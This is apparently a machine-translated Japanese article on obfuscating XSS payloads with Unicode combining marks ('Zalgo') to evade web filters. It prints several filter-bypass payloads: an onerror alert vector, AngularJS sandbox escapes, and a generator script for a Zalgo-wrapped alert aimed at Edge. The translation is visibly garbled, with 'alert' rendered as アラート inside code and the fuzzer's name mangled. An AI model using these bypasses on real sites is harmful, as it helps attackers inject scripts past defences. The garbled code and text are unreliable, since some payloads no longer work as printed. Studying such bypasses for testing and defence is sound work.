ZalgoFuzzing:ペイロードにカスタムブラーメソッドを使用する





Webアプリケーションの侵入テスト中にペイロード(ペイロード)を難読化する非標準の手法を使用すると、保護機器のフィルタリングをバイパスして、攻撃ベクトルの実装に貢献できます。 この記事では、いわゆる ペイロードを難読化(ぼかし)する方法としてのZ̴a҉̠͚l͍̠̫͕̮̟͕g͚o̯̬̣̻F̮̫̣̩͓͟ͅu̯z̡͉͍z̪͈̞̯̳̠ͅi̴̜̹̠̲͇n̰g̱͕̫̹͉͓。



Z̻̮̰̗͙̱̣a̺̗̺͍̹̕l͈̠͈͍g̵o̤̜͇͕̹



まず、Zalgoとは何か、テキストを作成するこのような機能を見てみましょう。 テキストでは、組み合わせマーク(組み合わせマークとも呼ばれます)を使用します。 Unicode標準でグラフィカルな表現を持つシンボルは、基本と組み合わせ可能(または変更)に分けられます。 結合可能なものは、表示されたときに隣接するベース文字と結合されるため、名前が付けられます(変更します)。



このような一連の文字を使用すると、ペイロードをゆがめ、「非標準的な外観」にすることができます。



たとえば、このjavascriptコードはEdgeで検証されます:̀̀̀̀̀́́́́́アラート(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ



Zalgoを生成するには、単一の文字を繰り返すか、2つの文字を組み合わせて2番目の文字を繰り返します。 次の例では、基本的にUnicode文字を組み合わせて、視覚的な欠陥を自動的に繰り返し生成します。



834,1425,1427,1430,1434,1435,1442,1443,1444,1445,1446,1447,1450,1453,1557,1623,1626,3633,3636,3637,3638,3639,3640,3641,3642,3655,3656,3657,3658,3659,3660,3661,3662
      
      





次のJavaScriptは、上記の文字のいずれかを使用して視覚障害を生成します:



 <script>document.write(String.fromCharCode(834).repeat(20))</script>
      
      





「ファジー」シーケンスを構築する原理は単純です-可能な限り最大の水平方向の長さの文字を表示するか、「ギャップ」で変換して表示します。 これにより、次のように、複数のUNICODE文字が空白として正しく表示されないという効果を実現できます。



ັັັアラート(ັັັ 'XSS Edge'ັັັ)ັັັ

ここで予想される動作はフィルタリングですが、実際にはAlertイベントが発生します。 これらのエラーは、リクエストの混合コンテンツの誤った解析が原因です。



UNICODE文字の実装に基づいて、セキュリティツールをバイパスする同様の方法があります。

†‡•<img src = a onerror = javascript:alert( 'test')> ...‰€( HackerOneに関するレポート)。



これらのメソッドは、個別のアプリケーションベクトル、またはアプリケーションの詳細に関連する特定の(AngularJSなど)のいずれかです。



 {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
      
      





 {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
      
      





スレッドマッピングディスカッションスレッドは、解析バイパスの別の例を提供します。



 eval('alert'+String.fromCharCode(6158)+'(1)')
      
      





この回避策の主な目的は、フィルターを通過する文字を必要なシーケンスに変換し、出力で作業(既に渡されたフィルター)ペイロードを提供することです。 例として、このような変換を示す画像を示します。



画像



研究者のGareth Heyes は、有効なjavascriptに変換されるUNICODE文字のシーケンスを識別するために、UNICODE結合とZalgoを組み合わせたZ̴asequencesl identifyg͚o̯̬̣̻F̮̫̣̩͓͟ͅu namedz̡͉͍z̪͈̞̯̳̠ͅi̴̜̹̠̲͇n̰g̱͕̫̹͉͓という名前のファザーを公開しました。



したがって、EDGEフィルタリングをバイパスするペイロードが作成されました。これは、空白として扱われる文字を追加することで構成されています。 したがって、シンボル837の形式のシーケンスは、範囲768〜879のシンボルとともに識別されました。



 a= []; for(i=768;i<=858;i++){ a.push(String.fromCharCode(837)+String.fromCharCode(i).repeat(5)); } a[10]+='alert(' a[15]+='1'; a[20]+=')'; input.value=a.join('') eval(a.join(''));
      
      





したがって、有効なペイロードが取得されます:̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅアラート(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ



UNICODE正規化を使用してセキュリティツールをバイパスするというトピックは新しいものとはほど遠い(ただしあまり普及しているわけではありません)が、それでもフィルタリングをバイパスする新しい方法を見つけることができます。



Unicodeセキュリティガイド



All Articles